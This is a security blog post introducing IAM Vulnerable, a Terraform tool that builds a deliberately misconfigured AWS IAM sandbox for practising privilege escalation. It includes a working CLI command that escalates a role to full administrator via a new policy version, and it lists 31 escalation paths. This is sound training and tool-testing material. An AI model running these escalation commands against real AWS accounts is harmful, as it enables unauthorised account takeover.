Bishop Fox named “Leader” in 2024 GigaOm Radar for Attack Surface Management. Read the Report ›

IAM Vulnerable - An AWS IAM Privilege Escalation Playground

I am vulnerable name tag. IAM Vulnerable - An AWS IAM Privilege Escalation Playground.

Share

If you are ever in a position where you need to assess the security of an AWS environment, one of the most important services to look at is Identity and Access Management (IAM). Some IAM misconfigurations are both very impactful and easy to identify, like users that lack MFA. However, other misconfigurations are equally impactful but considerably more difficult to identify, like which users and roles have unintended ways to gain administrative access to the AWS account. This post and its corresponding tool, IAM Vulnerable, were created to help penetration testers and security practitioners better understand how to identify and exploit common IAM misconfigurations that allow for privilege escalation.

(And don't forget to check out part 2 of my IAM Vulnerable series).


Background

In 2018, Spencer Gietzen outlined 21 permissions, or combinations of permissions, that allow for privilege escalation. In 2019, Bishop Fox’s own Gerben Kleijn wrote an article that showed how to manually exploit each of the 21 AWS privilege escalation paths. Gerben’s research necessitated the creation of dozens of users, roles, polices, and other resources required for successful exploitation. When I dove into learning how to identify and exploit AWS IAM privilege escalation myself, I searched for an easy way to create all the vulnerable escalation paths outlined in Gerben’s blog, but couldn’t find one. Thus, IAM Vulnerable was born.

Intentionally Vulnerable Infrastructure as Code

IAM Vulnerable uses the Terraform binary to deploy over 250 IAM resources into your selected AWS account so that, within minutes, you can start learning how to identify and then exploit intentionally vulnerable IAM configurations that allow for privilege escalation. The project initially started out as a Terraform implementation of Gerben’s environment; however, it has evolved to include more vulnerable configurations commonly observed during our cloud penetration tests, like assume-role chains that lead to privilege escalation and other methods that have been discovered after Spencer’s original research in 2018. At the time of release, there are 31 unique privilege escalation test cases.

Use Cases: Identification and Exploitation

I created IAM Vulnerable with only one use case in mind: automating the creation and deletion of a vulnerable IAM configuration into a sandboxed AWS account to practice exploitation. However, a second use case became apparent. With an intentionally vulnerable playground at my fingertips, I had an amazing place to test the efficacy of different assessment tools that help with identification. I’ll cover this topic in depth in the second part of this series.

In This Post:

How to Use IAM Vulnerable

The following sections provide an overview of how you can use IAM Vulnerable to get some hands-on experience identifying and exploiting IAM misconfigurations that can result in privilege escalation.

Step 1: Select or create an AWS account

If you already have an AWS playground account, you can use that existing account. If you don’t have an account yet, create a new account to use as your vulnerable playground.

Before you deploy anything, one word of caution: I strongly recommend creating a separate account specifically for this use case, and not applying this configuration to any production account. All privilege escalation paths require authenticated access to the AWS account, so you don’t have to worry about unintended anonymous or external threats, but you still don’t want any of these paths in a production environment.

Step 2: Create a non-root user with administrative access

There’s one more step before you can use Terraform to create your IAM Vulnerable playground. You will need to select an AWS user or role with permission to apply the resources into your account. By design, every role that IAM Vulnerable creates for you can be assumed by the principal you use to run Terraform. However, root users can’t assume roles, so you don’t want to use the root user to deploy IAM Vulnerable. You’ll need to create a non-root user that has administrative access. Here’s a primer on how to do this via AWS documentation:

  1. Create a non-root user that has administrative access
  2. Create an access key for that user
  3. Install the AWS CLI
  4. Configure your AWS CLI with the admin user as the default profile

Note: You can run IAM Vulnerable using an AWS profile other than the default if you’d like. Check out the Other use cases section in the GitHub repository for guidance.

You can use aws sts get-caller-identity to verify your profile is configured properly:

aws sts get-caller-identity
{
"UserId": "AIDASAMPLEUSERID",
"Account": "111111111111",
"Arn": "arn:aws:iam:: 111111111111:user/seth"
}

Once you have verified your CLI is working as expected, you are ready to install Terraform and deploy IAM Vulnerable.

Step 3: Deploy IAM Vulnerable Terraform modules to your account

To get started, you need the Terraform binary installed, your AWS client configured, and you’ll need to clone the
IAM-Vulnerable repository. The process looks something like this:

  1. Install the Terraform binary and add the binary location to your path.
  2. Clone the IAM-Vulnerable repository:
    git clone https://github.com/BishopFox/i...

A modular approach

Within the IAM Vulnerable repository, you will notice multiple modules, separated into two main categories:
free-resources and non-free-resources. If you are not familiar with Terraform, think of these modules as self-contained sets of AWS resources that are spun up or torn down together.

While most of the privilege escalation paths can be exploited after deploying only the free-resources/privesc-paths module, which is enabled by default, there are a few paths that cannot be exploited unless there are other, non-free resources deployed, like EC2 instances or Lambda functions. As there is monetary cost associated with these other resources, they are not enabled by default.

The modular approach allows you to start with the free resources and then deploy the non-free resources later, by simply uncommenting the respective modules.

Deploying the free resources

These next few steps will deploy the resources in the free-resources module to your AWS account:

  1. cd iam-vulnerable/
  2. terraform init
  3. terraform apply

Once you apply the configuration, the Terraform binary will authenticate with AWS using your specified profile and deploy all of the IAM Vulnerable resources from the free-resources modules to the target account. This includes roughly 30 sets of users, roles, and policies that correspond to each of the unique exploit paths to administrative access of the playground account. There is no AWS cost associated with applying these resources.

When you run terraform apply, the Terraform binary will create the resources in your AWS account, as shown in the figure below:

iam-vulnerable\# terraform apply
…omitted for brevity…

Plan: 255 to add, 0 to change, 0 to destroy.

Do you want to perform these actions?
    Terraform will perform the actions described above.
    Only 'yes' will be accepted to approve.

    Enter a value: yes

…omitted for brevity…

module.privesc-paths.aws_iam_user.privesc-sre-user: Creating...
module.privesc-paths.aws_iam_user.fp3-deny-iam-user: Creating...
module.privesc-paths.aws_iam_policy.fn2-exploitableResourceConstraint: Creating...
module.privesc-paths.aws_iam_user.privesc9-AttachRolePolicy-user: Creating...

…omitted for brevity…

Apply complete! Resources: 255 added, 0 changed, 0 destroyed.

If you’d like to remove all of the Terraform-created resources from this module, all you need is one command:

iam-vulnerable\# terraform destroy

Deploying the non-free resources as needed

As mentioned above, some exploit paths are not exploitable unless specific resource types are present. For example, if you have the ssm:StartSession permission and there is a EC2 instance running that has a high-privileged role attached and supports the AWS Systems Manager (SSM) agent, you can use ssm:StartSession to access the instance and privesc using highly privileged role attached to the instance. However, in order to successfully practice with this exploit path, you need an EC2 instance with a highly privileged role attached.

When you are ready to play with the exploit paths like ssm:StartSession that involve resources outside of IAM, you can deploy and tear down these resources on demand by uncommenting the module in the
iam-vulnerable/main.tf file, shown below:

module "privesc-paths" {
source = "./modules/free-resources/privesc-paths"
aws_assume_role_arn = (var.aws_assume_role_arn != "" ? var.aws_assume_role_arn : data.aws_caller_identity.current.arn)
aws_root_user = format("arn:aws:iam::%s:root", data.aws_caller_identity.current.account_id)
}
# Uncomment the next four lines to create a lambda and related resources
#module "lambda" {
# source = "./modules/non-free-resources/lambda"
# aws_assume_role_arn = (var.aws_assume_role_arn != "" ? var.aws_assume_role_arn : data.aws_caller_identity.current.arn)
#}

# Uncomment the next four lines to create an ec2 instance and related resources
#module "ec2" {
# source = "./modules/non-free-resources/ec2"
# aws_assume_role_arn = (var.aws_assume_role_arn != "" ? var.aws_assume_role_arn : data.aws_caller_identity.current.arn)
#}

Once you have uncommented the ec2 module, run terraform init to install the newly uncommented module and then terraform apply to deploy the resources in the new module.

iam-vulnerable\# terraform apply
Plan: 2 to add, 0 to change, 0 to destroy.

Do you want to perform these actions?
    Terraform will perform the actions described above.
    Only 'yes' will be accepted to approve.
    Enter a value: yes

module.ec2.aws_security_group.allow_ssh_from_world: Creating...
module.ec2.aws_security_group.allow_ssh_from_world: Creation complete after 4s [id=sg-07246081a9584fb8b]
module.ec2.aws_instance.ec2: Creating...
module.ec2.aws_instance.ec2: Still creating... [10s elapsed]
module.ec2.aws_instance.ec2: Creation complete after 15s [id=i-0e81befb3de1233c7]

Apply complete! Resources: 2 added, 0 changed, 0 destroyed.

When you are done using a non-free module, you can simply comment it back out again and run terraform apply to remove the resources:

terraform apply
Plan: 0 to add, 0 to change, 2 to destroy.

Do you want to perform these actions?
    Terraform will perform the actions described above.
    Only 'yes' will be accepted to approve.

    Enter a value: yes

module.ec2.aws_instance.ec2: Destroying... [id=i-0e81befb3de1233c7]
module.ec2.aws_instance.ec2: Still destroying... [id=i-0e81befb3de1233c7, 10s elapsed]
module.ec2.aws_instance.ec2: Destruction complete after 1m23s
module.ec2.aws_security_group.allow_ssh_from_world: Destroying... [id=sg-07246081a9584fb8b]
module.ec2.aws_security_group.allow_ssh_from_world: Destruction complete after 1s

Apply complete! Resources: 0 added, 0 changed, 2 destroyed.

This modular approach allows you to minimize cost by enabling each set of non-free resources as needed. I’ve included a monthly cost for each module in the IAM Vulnerable README, as well as a table that shows which exploit paths depend on additional modules.

Step 4: Study up on AWS IAM privilege escalation paths

Now that your environment is set up, you are ready to exploit things. If you are new to IAM privilege escalation, spend some time getting familiar with the types of privilege escalation paths that are possible, and the preconditions that are required. Here are some references that will be helpful:

Step 5: Practice exploitation using your newly created users and roles

Using the resources listed above, you are now ready to start walking through the privesc paths outlined in Gerben’s blog post. I won’t rehash all of the exploitation steps here, as Gerben’s post is just as useful today as it was in 2019. However, I will give a quick primer in how to set all of your new vulnerable roles in your credentials file so that you can easily switch between them.

IAM users vs. roles

First, a very brief primer on IAM users vs. roles, from a security-focused perspective. The problem with IAM users is that they can create long-lived access keys. These keys can have business-ending impact when misplaced or compromised. As you might imagine, we still find these access keys in places they don’t belong during most cloud penetration tests we perform. In short, long-lived access keys are bad. So, what’s the solution? According to AWS, you should ditch IAM users and switch to IAM roles. Roles use temporary credentials that expire, so there is much less risk around those credentials being accidently checked into Git, stored in an S3 bucket, or dropped on Pastebin. To make roles work seamlessly, your users authenticate with an SSO solution like Okta or AWS SSO, and that solution maps which IAM roles you are authorized to assume.

This is relevant because some privesc paths are only available to roles, while others are only available to users. Because of this, IAM Vulnerable creates both a role and a user for each privesc path. I recommend getting comfortable working with both types of IAM principals.

User access keys

Each privesc path creates a user and a set of access keys. To find the user access credentials for the Terraform-created IAM user, look in the iam-vulnerable/terraform.tfstate file. Just find the user you’d like to use and add those credentials to a new profile in your credentials file.

    "module": "module.privesc-paths",
    "mode": "managed",
    "type": "aws_iam_access_key",
    "name": "privesc17-EditExistingLambdaFunctionWithRole-user",
    "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
    "instances": [
        {
            "schema_version": 0,
            "attributes": {
                "create_date": "2021-07-20T22:53:04Z",
                "encrypted_secret": null,
                "id": "AKIA[REDACTED]",
                "key_fingerprint": null,
                "pgp_key": null,
                "secret": "[REDACTED]",
                "ses_smtp_password_v4": "[REDACTED]",
                "status": "Active",
                "user": "privesc17-EditExistingLambdaFunctionWithRole-user"
        },
        "sensitive_attributes": [],
        "private": "bnVsbA==",
        "dependencies": [
            "module.privesc-paths.aws_iam_user.privesc17-EditExistingLambdaFunctionWithRole-user"
        ]
      }
   ]
},

Assuming roles, the easy way

Did you know that you can set up a profile for the AWS CLI that references another profile if an IAM trust exists between the two roles? When configured like this, the assumption of the target role happens transparently as long as you use the right profile name with the AWS CLI. In the repository, I’ve included a sample AWS CLI configuration file that you can use as a guide when setting this up. Here’s a snippet of the example configuration file (i.e., ~/.aws/credentials):

[default]
aws_access_key_id = AKIA...
aws_secret_access_key = SECRET...

[privesc1]
role_arn = arn:aws:iam::111111111111:role/privesc1--CreateNewPolicyVersion-role
source_profile = default

[privesc2]
role_arn = arn:aws:iam::111111111111:role/privesc2--SetExistingDefaultPolicyVersion-role
source_profile = default

In this scenario, we used the default profile to apply IAM Vulnerable modules. All you would need to do is replace the placeholder account number above with your real account number.

With the configuration shown above, if you want to run a command using the role privesc1-CreateNewPolicyVersion-role, all you need to do is use the privesc1 profile:

aws --profile privesc1 sts get-caller-identity
{
    "UserId": "AIDASAMPLEUSERID:botocore-session-1623259974",
    "Account": "111111111111",
    "Arn": "arn:aws:sts:: 111111111111:assumed-role/privesc1-CreateNewPolicyVersion-role/botocore-session-1623259974"
}

Behind the scenes, the AWS CLI used the user specified in the default profile to assume the role, privesc1-CreateNewPolicyVersion-role.

Exploit demonstration using an assumed role

The following demonstration shows how to use the privesc1-CreateNewPolicyVersion-role to create a new policy version that grants itself admin access.

Because privesc1-CreateNewPolicyVersion-role only has permission to perform a single action to start, at first, privesc1 can’t even list IAM users:

aws --profile privesc1 iam list-users

An error occurred (AccessDenied) when calling the ListUsers operation: User: arn:aws:sts::111111111111:assumed-role/privesc1-CreateNewPolicyVersion-role/botocore-session-1623259974 is not authorized to perform: iam:ListUsers on resource: arn:aws:iam::111111111111:user/

Now, let’s update that policy (remember to replace 111111111111 with your account ID):

aws --profile privesc1 iam create-policy-version \
--policy-arn arn:aws:iam::111111111111:policy/privesc1-CreateNewPolicyVersion
    \
--set-as-default \
--policy-document file://<(cat <<EOF
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Admin",
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }]
}
EOF
)

Finally, let’s try to list the IAM users again, still using the privesc1-CreateNewPolicyVersion-role:

aws --profile privesc1 iam list-users
{
    "Users": [
        {
            "Path": "/",
            "UserName": "privesc-assumerole1-start-user",
            "UserId": "AIDASAMPLEUSERID",
            "Arn": "arn:aws:iam::111111111111:user/privesc-assumerole1-start-user",
            "CreateDate": "2021-06-04T18:46:45Z"
        },

Success! We just used the privesc1 profile to execute the CreatePolicyVersion privesc path and make ourselves an effective administrator.

Supported Privilege Escalation Paths

The table below lists the 31 privilege escalation paths that IAM Vulnerable supports as of August 2021. This list includes the 21 original privesc paths identified by Spencer Gietzen and 10 additional paths I’ve added. Most of the newer paths, like SSM-SendCommand, SSM-StartSession, and CodeBuild-CreateProjectPassRole, were added to IAM Vulnerable after I noticed that Erik Steringer had added them to Principal Mapper (PMapper). Others, like EC2InstanceConnect-SendSSHPublicKey, were added based on original research.

Supported Privilege Escalation Paths

IAM Permissions on Other Users

IAM-CreateAccessKey
IAM-CreateLoginProfile
IAM-UpdateLoginProfile

PassRole to Service

CloudFormation-PassExistingRoleToCloudFormation
PassExistingRoleToNewCodeBuildProject
DataPipeline-PassExistingRoleToNewDataPipeline
EC2-CreateInstanceWithExistingProfile
Glue-PassExistingRoleToNewGlueDevEndpoint
Lambda-PassExistingRoleToNewLambdaThenInvoke
Lambda-PassRoleToNewLambdaThenTrigger
SageMaker-CreateNotebookPassRole
SageMaker-CreateCreateTrainingJobPassRole
SageMaker-CreateProcessingJobPassRole

Permissions on Policies

IAM-AddUserToGroup
IAM-AttachGroupPolicy
IAM-AttachRolePolicy
IAM-AttachUserPolicy
IAM-CreateNewPolicyVersion
IAM-PutGroupPolicy
IAM-PutRolePolicy
IAM-PutUserPolicy
IAM-SetExistingDefaultPolicyVersion

Privilege Escalation Using AWS Services

EC2InstanceConnect-SendSSHPublicKey
CloudFormation-UpdateStack
Glue-UpdateExistingGlueDevEndpoint
Lambda-EditExistingLambdaFunctionWithRole
SageMakerCreatePresignedNotebookURL
SSM-SendCommand
SSM-StartSession
STS-AssumeRole

Updating an AssumeRole Policy

IAM-UpdatingAssumeRolePolicy

Conclusion

Granting IAM permissions to AWS principals that prevent unintended privilege escalation is difficult, and within the shared responsibility model, it is the AWS customer’s responsibility to manage those policies. The information security industry needs more practitioners who can identify unintended privilege escalation paths and demonstrate the impact of exploitation.

IAM Vulnerable will allow you to create a private environment where you can level up your IAM privesc skills from beginner to expert at your own pace, in your own AWS account. You can practice AWS IAM privilege escalation exploitation and test your favorite tools against it to get more comfortable with identification. You could even use it as a test bed when creating new tools or updating existing ones. I hope this project gives you the confidence and experience you’ll need to identify these types of issues in the wild and help get them fixed.

In the second part of this series, I’ll run my favorite IAM privesc assessment tools against an IAM Vulnerable created playground to see how each tool holds up, and I’ll provide an overview of each tool’s capabilities, strengths, and weaknesses

Don't miss Part 2 of my IAM Vulnerable series, where I discuss the identification aspect of IAM privilege escalation within a target account. I share my favorite IAM privesc assessment tools and conclude that while each of these tools is invaluable to a penetration tester, none of them can identify all known privesc paths while at the same time removing all false positives.

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.


Seth art

About the author, Seth Art

Principal Security Consultant

Seth Art (OSCP) is a Principal Security Consultant at Bishop Fox, where he currently focuses on penetration testing cloud environments, Kubernetes clusters, and traditional internal networks.

Seth is the author of multiple open-source projects including CloudFox, CloudFoxable, IAM Vulnerable, Bad Pods, celeryStalk, and PyCodeInjection. He has presented at security conferences, including fwd:cloudsec, DerbyCon, and BSidesDC, published multiple CVEs, and is the founder of IthacaSec, a security meetup in upstate NY.

More by Seth

This site uses cookies to provide you with a great user experience. By continuing to use our website, you consent to the use of cookies. To find out more about the cookies we use, please see our Privacy Policy.